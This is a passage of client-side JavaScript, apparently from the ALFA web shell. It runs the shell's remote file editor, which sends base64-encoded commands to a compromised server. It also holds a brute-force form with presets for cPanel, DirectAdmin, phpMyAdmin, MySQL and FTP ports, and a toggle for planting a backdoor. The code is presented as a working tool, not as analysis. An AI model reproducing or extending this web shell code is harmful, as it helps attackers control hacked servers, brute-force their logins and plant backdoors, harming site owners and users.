is(){for(i=0;i<d.sf.elements["tbl[]"].length;++i)d.sf.elements["tbl[]"][i].checked=!d.sf.elements["tbl[]"][i].checked}function $(a){return d.getElementById(a)}function addnewup(){var a="footerup_"+upcount,b="pfooterup_"+upcount,c=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",e=d.createElement("p");e.innerHTML=\'<label class="inputfile" for="\'+a+\'"><span id="__fnameup\'+upcount+\'"></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id="\'+a+\'" type="file" name="f[]" onChange="handleup(this,\'+upcount+\');">\',e.id=b,e.appendAfter($(c)),upcount++}function alfa_searcher_tool(a){switch(a){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(a,b){d.srch.ext.disabled=a,d.srch.ext.value=b}function dis_input(a){switch(a){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(a,b,d){"21"!=b?c="localhost":c="ftp.example.com",$("port").disabled=a,$("port").value=b,$("target").value=c,$("protocol").value=d}Element.prototype.appendAfter=function(a){a.parentNode.insertBefore(this,a.nextSibling)};function inBackdoor(t){if(t.value=="my"){$("backdoor_textarea").style.display="block";}else{$("backdoor_textarea").style.display="none";}}
function saveByKey(event){
if(!(String.fromCharCode(event.which).toLowerCase() == \'s\' && event.ctrlKey) && !(event.which == 19))return true;
$("editor_edit_area").onsubmit();
event.preventDefault();
return false;
}
function setCookie(cname, cvalue, exdays){
var d = new Date();
d.setTime(d.getTime() + (exdays*24*60*60*1000));
var expires = "expires="+ d.toUTCString();
document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
}
function getCookie(name){
var value = "; " + document.cookie;
var parts = value.split("; " + name + "=");
if (parts.length == 2) return parts.pop().split(";").shift();
}
function editorClose(pos){
d.body.style.overflow = "visible";
elem = $(pos);
elem.setAttribute("class", "editor-anim-close");
if(pos == "editor"){
is_minimized = false;
}else{
cgi_is_minimized = false;
}
setTimeout(function(){
elem.removeAttribute("class");
elem.style.display = "none";
}, 1000);
d.body.style.overflow = "visible";
}
function showEditor(pos){
$(pos).setAttribute("class", "editor-anim-show");
$(pos+"-minimized").setAttribute("class", "minimized-hide");
if(pos == "editor"){
is_minimized = false;
if(cgi_is_minimized){
$("cgiloader-minimized").style.top = "30%";
}
}else{
cgi_is_minimized = false;
if(is_minimized){
$("editor-minimized").style.top = "30%";
}
}
d.body.style.overflow = "hidden";
}
function editorMinimize(pos){
$(pos).setAttribute("class", "editor-anim-minimize");
$(pos+"-minimized").setAttribute("class", "minimized-show");
if(pos == "editor"){
is_minimized = true;
if(cgi_is_minimized){
$("cgiloader-minimized").style.top = "20%";
$("editor-minimized").style.top = "50%";
}else{
$("editor-minimized").style.top = "30%";
}
}else{
cgi_is_minimized = true;
if(is_minimized){
$("cgiloader-minimized").style.top = "20%";
$("editor-minimized").style.top = "50%";
}else{
$("cgiloader-minimized").style.top = "30%";
}
}
d.body.style.overflow = "visible";
}
function clearEditorHistory(){
var check = confirm("Are u Sure?");
if(check){
for(var i in editor_files){
if(i != editor_current_file){
removeHistory(i);
}
}
}
}
function editor(file, mode, arg, pwd, file_id, type){
if(type=="dir"&&file=="..")return false;
if(mode == "download"){
g("FilesTools",pwd,file,"download");
return false;
}
var param = "", fid = "", pure_fid = "", cwd = d.mf.c.value, can_append = true;
file = file.trim();
if(Object.keys(editor_files).length == 0){
var cookie_file = getCookie("alfa_history_files");
try{
editor_files = JSON.parse(cookie_file);
for(var t in editor_files){
insertToHistory(t, editor_files[t].file, 0, editor_files[t].type);
}
}catch(e){}
}
if(file.indexOf("/") != -1){
var file_split = file.split("/");
file = file_split[file_split.length - 1];
delete file_split[file_split.length - 1];
cwd = file_split.join("/");
if(islinux){
cwd = "/"+cwd;
}
}
if(typeof type == "undefined"){
type = "";
}
if(typeof pwd != "undefined" && pwd != null && pwd.length != 0){
cwd = pwd.trim();
}
try{
for(var i in editor_files){
if(editor_files[i].file == decodeURIComponent(file) && editor_files[i].pwd.replace(/\//g,"") == cwd.replace(/\//g,"")){
can_append = false;
file_id = i;
break;
}
}
}catch(e){
console.log(e);
}
editor_error = true;
if(typeof arg != "undefined" && arg.length != 0 && arg != null){
param = alfab64(arg);
}
if(typeof file_id != "undefined" && file_id != null && file_id.length != 0){
fid = alfab64(file_id);
pure_fid = file_id;
}else{
var rand_fid = "file_" + getRandom(10);
fid = alfab64(rand_fid);
pure_fid = rand_fid;
}
alfaloader("block");
_Ajax(d.URL, "a="+alfab64("FilesTools")+"&c="+alfab64(cwd)+"&alfa1="+alfab64(file)+"&alfa2="+alfab64(mode)+"&alfa3="+param+"&alfa4="+fid+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"), function(e){
document.querySelector(".editor-content").innerHTML = e;
$("editor").style.display = "block";
alfaloader("none");
evalJS(e);
if(mode != "delete" && editor_error){
var active = d.getElementsByClassName("is_active");
if(active.length != 0){
active[0].className = "file-holder";
}
fid = pure_fid;
file = decodeURIComponent(file);
if(!editor_files[fid] && can_append){
editor_files[fid] = {"file": file, "pwd": cwd, "type": type};
insertToHistory(fid, file, " is_active", type);
if(mode=="mkfile"){
g("FilesMan",null);
}
}else{
$(fid).parentNode.className += " is_active";
}
}
d.body.style.overflow = "hidden";
d.getElementsByClassName("filestools")[0].setAttribute("fid", fid);
if(editor_files[fid]){
d.getElementsByClassName("editor-path")[0].innerHTML = (editor_files[fid].pwd + "/" + editor_files[fid].file).replace(/\/\//g, "/");
}
editor_current_file = fid;
if(is_minimized){
showEditor("editor");
}
updateCookieEditor();
});
return false;
}
function insertToHistory(fid, file, mode, type){
var active = "";
if(mode && mode != 0){
active = mode;
}
var NewElement = document.createElement("div");
NewElement.innerHTML = "<div id=\'"+fid+"\' class=\'history\' onClick=\'reopen(this);\'><div class=\'editor-icon\'>"+loadType(file,type,fid)+"</div><div class=\'editor-file-name\'>"+file+"</div></div><div class=\'history-close\' onClick=\'removeHistory(\""+fid+"\");\'>X</div>";
NewElement.className = "file-holder" + active;
NewElement.addEventListener("mouseover", function(){setEditorTitle(fid,"over");this.childNodes[1].style.opacity = "1";});
NewElement.addEventListener("mouseout", function(){setEditorTitle(fid,"out");this.childNodes[1].style.opacity = "0";});
var refNode = d.getElementsByClassName("history-list")[0];
refNode.insertBefore(NewElement, refNode.firstChild);
}
function loadType(file,type,id){
if(type == "none"){
_Ajax(d.URL, "a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[id].pwd)+"&arg="+alfab64(editor_files[id].file), function(e){
$(id).innerHTML = "<div class=\'editor-icon\'>"+loadType(editor_files[id].file,e,id)+"</div><div class=\'editor-file-name\'>"+editor_files[id].file+"</div>";
editor_files[id].type = e;
});
}
var img = \'<img src="http://solevisible.com/icons/{type}" width="30" height="30">\';
if(type == "file"){
type = file.split(".");
type = type[type.length - 1].toLowerCase();
var types = ["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"];
if(types.indexOf(type) == -1){
type = "notfound";
}
}else{
type = "folder";
}
return img.replace("{type}", type + ".png");
}
function updateDirsEditor(fid, fname){
var current_path = d.mf.c.value + "/";
var oldpath = editor_files[fid].pwd + "/" + fname + "/";
var newpath = editor_files[fid].pwd + "/" + editor_files[fid].file + "/";
oldpath = oldpath.replace(/\/\//g, "/");
newpath = newpath.replace(/\/\//g, "/");
current_path = current_path.replace(/\/\//g, "/");
if(current_path.search(oldpath) != -1){
initDir(current_path.replace(oldpath, newpath));
d.mf.c.value = current_path.replace(oldpath, newpath);
_Ajax(d.URL,"a="+alfab64("updatepath")+"&path="+alfab64(d.mf.c.value),function(e){console.log(e)});
}
for(var i in editor_files){
var path = editor_files[i].pwd + "/";
path = path.replace(/\/\//g, "/");
if(path.search(oldpath) != -1){
editor_files[i].pwd = path.replace(oldpath, newpath);
}
}
var reg1 = new RegExp("\'"+oldpath.slice(0, -1)+"\'");
var reg2 = new RegExp(fname + " \\\|</b></a>");
d.files.innerHTML = d.files.innerHTML.replace(reg1, "\'"+newpath.slice(0, -1)+"\'");
d.files.innerHTML = d.files.innerHTML.replace(reg2, editor_files[fid].file+" |</b></a>");
updateCookieEditor();
}
function updateCookieEditor(){
setCookie("alfa_history_files", JSON.stringify(editor_files), 2012);
}
function setEditorTitle(fid, mode){
if(mode == "out" && editor_current_file != ""){
fid = editor_current_file;
}
if(editor_files[fid]){
d.getElementsByClassName("editor-path")[0].innerHTML = (editor_files[fid].pwd + "/" + editor_files[fid].file).replace(/\/\//g, "/");
}
}
function removeHistory(el){
delete editor_files[el];
if($(el)){
$(el).parentNode.parentNode.removeChild($(el).parentNode);
}
var elm = d.getElementsByClassName("filestools")[0];
if(elm){
if(elm.getAttribute("fid") == el){
elm.outerHTML = "";
}
}
if(editor_current_file == el){
editor_current_file = "";
}
updateCookieEditor();
}
function getRandom(e){
for(var i = "undefined" == typeof e ? 20 : e, t = "", s = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", n = i; n > 0; --n) t += s[Math.floor(Math.random() * s.length)];
return t
}
function reopen(el){
var file_id = el.getAttribute("id")
var pwd = editor_files[file_id].pwd;
var filename = editor_files[file_id].file;
editor(filename, "auto", "", pwd, file_id);
}
function copyToClipboard(el){
var node = document.getElementById(el);
if(document.selection){
var range = document.body.createTextRange();
range.moveToElementText(document.getElementById(el));
range.select();